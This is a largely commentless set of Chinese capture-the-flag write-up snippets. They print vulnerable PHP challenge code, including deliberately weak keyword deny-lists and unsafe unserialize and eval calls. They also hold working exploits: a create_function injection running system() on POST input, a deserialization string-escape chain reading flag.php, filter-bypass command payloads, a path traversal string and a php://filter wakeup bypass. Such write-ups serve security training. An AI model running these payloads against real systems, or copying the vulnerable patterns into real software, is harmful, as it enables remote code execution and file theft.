1
要点：Robots.txt文件

1
要点：扫描目录、.phps 文件、代码审计（urldecode函数）

1
什么是phps文件？
2
phps文件类型主要由php组与php源关联。通常，php文件将由web服务器和php可执行文件解释，您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps，配置正确的服务器将输出源代码的彩色格式版本，而不是通常生成的HTML。

1
在 get 传值之前有一个 urldecode 函数，根据提示我们可以编码admin然后提交get，但是他会进行两次解码，所以我们要两次编码，构造出：
2
?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

1
<?php
2
class Noteasy{
3
    protected $param1;
4
    protected $param2;
5

6
    function __destruct(){
7
        $a=$this->param1;
8
        $b=$this->param2;
9
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
10
            die('this param is error!');
11
        } else {
12
            $a('', $b);
13
        }
14
    }
15

16
}
17
if (!isset($_GET['file'])){
18
    show_source('index.php');
19
    echo "Hi!Welcome to FSCTF2023!";
20
  }
21
  else{
22
    $file=base64_decode($_GET['file']);
23
    unserialize($file); }
24
?>
25
Hi!Welcome to FSCTF2023!

1
<?php
2

3
class Noteasy
4
{
5
    protected $param1 = "create_function";
6
    protected $param2 = "};system(\$_POST[1]);//";
7
}
8

9
$n = new Noteasy();
10
echo(base64_encode(serialize($n)));

1
<?php
2
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
3
  if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
4
    session_destroy();
5
    echo '
6
    <script language="javascript">
7
    alert("怎么没算对呢？");
8
    window.history.back(-1);  </script>';
9
  }
10
  else{
11
    if(intval(time())-$_SESSION['time']<1){
12
      session_destroy();
13
      echo '
14
      <script language="javascript">
15
      alert("你手速太快啦，服务器承受不住!!!");
16
      window.history.back(-1); </script> ';
17
    }
18
    if(intval(time())-$_SESSION['time']>2){
19
      session_destroy();
20
      echo '
21
      <script language="javascript">
22
      alert("你算的太慢了少年！");
23
      window.history.back(-1); </script> ';
24
    }
25
    echo '
26
    <script language="javascript">
27
    alert("tql，算对了！！");
28
       </script> ';
29
    $_SESSION['count']++;
30
  }
31
}
32
?>

1
import re
2
import time
3

4
import requests
5

6
r = requests.session()
7
url = "http://node4.anna.nssctf.cn:28048/"
8
inp = '1111111111111111111111111111111111'
9
res = r.get(url).text
10
while 'nctf' not in res:
11
    p = re.compile(r' style="display:inline;">(.*?)</div>')
12
    exp = '9223372036854775807' + ''.join(re.findall(p, res)).replace('=', '')
13
    time.sleep(1)
14
    res = r.post(url, data={'input': inp, 'ans': eval(exp)}).text
15
    print(res)

1
<?php
2
//flag in flag.php
3
error_reporting(0);
4
class UUCTF{
5
    public $name,$key,$basedata,$ob;
6
    function __construct($str){
7
        $this->name=$str;
8
    }
9
    function __wakeup(){
10
    if($this->key==="UUCTF"){
11
            $this->ob=unserialize(base64_decode($this->basedata));
12
        }
13
        else{
14
            die("oh!you should learn PHP unserialize String escape!");
15
        }
16
    }
17
}
18
class output{
19
    public $a;
20
    function __toString(){
21
        $this->a->rce();
22
    }
23
}
24
class nothing{
25
    public $a;
26
    public $b;
27
    public $t;
28
    function __wakeup(){
29
        $this->a="";
30
    }
31
    function __destruct(){
32
        $this->b=$this->t;
33
        die($this->a);
34
    }
35
}
36
class youwant{
37
    public $cmd;
38
    function rce(){
39
        eval($this->cmd);
40
    }
41
}
42
$pdata=$_POST["data"];
43
if(isset($pdata))
44
{
45
    $data=serialize(new UUCTF($pdata));
46
    $data_replace=str_replace("hacker","loveuu!",$data);
47
    unserialize($data_replace);
48
}else{
49
    highlight_file(__FILE__);
50
}
51
?>

1
<?php
2
class UUCTF{
3
    public $name,$key,$basedata,$ob;
4
}
5
class output{
6
    public $a;
7
}
8
class nothing{
9
    public $a;
10
    public $b;
11
    public $t;
12
}
13
class youwant{
14
    public $cmd;
15
}
16

17
$a = new youwant();
18
$a->cmd = 'system("cat flag.php");';
19
$b = new output();
20
$b->a = $a;
21
$c = new nothing();
22
$c->a = &$c->b;
23
$c->t = $b;
24
$basedata = base64_encode(serialize($c));
25

26
$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';
27
for($i=0;$i<strlen($post);$i++)
28
{
29
    $hacker=$hacker.'hacker';
30

31
}
32
echo $hacker.$post;

1
<?php
2
## 放弃把，小伙子，你真的不会RCE,何必在此纠结呢？？？？？？？？？？？？
3
if(isset($_GET['code'])){
4
    $code=$_GET['code'];
5
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
6
        echo '看看你输入的参数！！！不叫样子！！';echo '<br>';
7
        eval($code);
8
    }
9
    else{
10
        die("你想干什么？？？？？？？？？");
11
    }
12
}
13
else{
14
    echo "居然都不输入参数，可恶!!!!!!!!!";
15
    show_source(__FILE__);
16
}

1
?code=print_r(`l\s /`);
2
?code=print_r(`nl /fffffffffflagafag `);

1
theme=../../../../../flag

1
<?php
2
    include 'f14g.php';
3
    error_reporting(0);
4

5
    highlight_file(__FILE__);
6

7
    class body{
8

9
    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
10

11
    public function  __construct($want){
12
        $About_me = "When the object is created,I will be called";
13
        if($want !== " ") $this->want = $want;
14
        else $this->want = $this->todonothing;
15
    }
16
    function __wakeup(){
17
        $About_me = "When the object is unserialized,I will be called";
18
        $but = "I can CHANGE you";
19
        $this-> want = $but;
20
        echo "C1ybaby!";
21

22
    }
23
    function __destruct(){
24
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
25
        echo "So,let me see if you can get what you want\n";
26
        if($this->todonothing === $this->want)
27
            die("鲍勃,别傻愣着!\n");
28
        if($this->want == "I can CHANGE you")
29
            die("You are not you....");
30
        if($this->want == "f14g.php" OR is_file($this->want)){
31
            die("You want my heart?No way!\n");
32
        }else{
33
            echo "You got it!";
34
            highlight_file($this->want);
35
            }
36
    }
37
}
38

39
    class unserializeorder{
40
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
41
        function __sleep(){
42
            $About_me = "When the object is serialized,I will be called";
43
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
44
        }
45
        function __toString(){
46
            $About_me = "When the object is used as a string,I will be called";
47
            return $this->CORE;
48
        }
49
    }
50

51
    $obj = new unserializeorder();
52
    echo $obj;
53
    $obj = serialize($obj);
54

55

56
    if (isset($_GET['ywant']))
57
    {
58
        $ywant = @unserialize(@$_GET['ywant']);
59
        echo $ywant;
60
    }
61
?>

1
<?php
2
class body{
3

4
    private $want,$todonothing = "";
5

6
    public function  __construct($want){
7
        $About_me = "";
8
        if($want !== " ") $this->want = $want;
9
        else $this->want = $this->todonothing;
10
    }
11
}
12
$f = "php://filter/convert.base64-encode/resource=f14g.php";
13
$a = new body($f);
14
$b = serialize($a);
15
$c = preg_replace("/:2:{/",":3:{",$b);
16
echo urlencode($c);
17
?>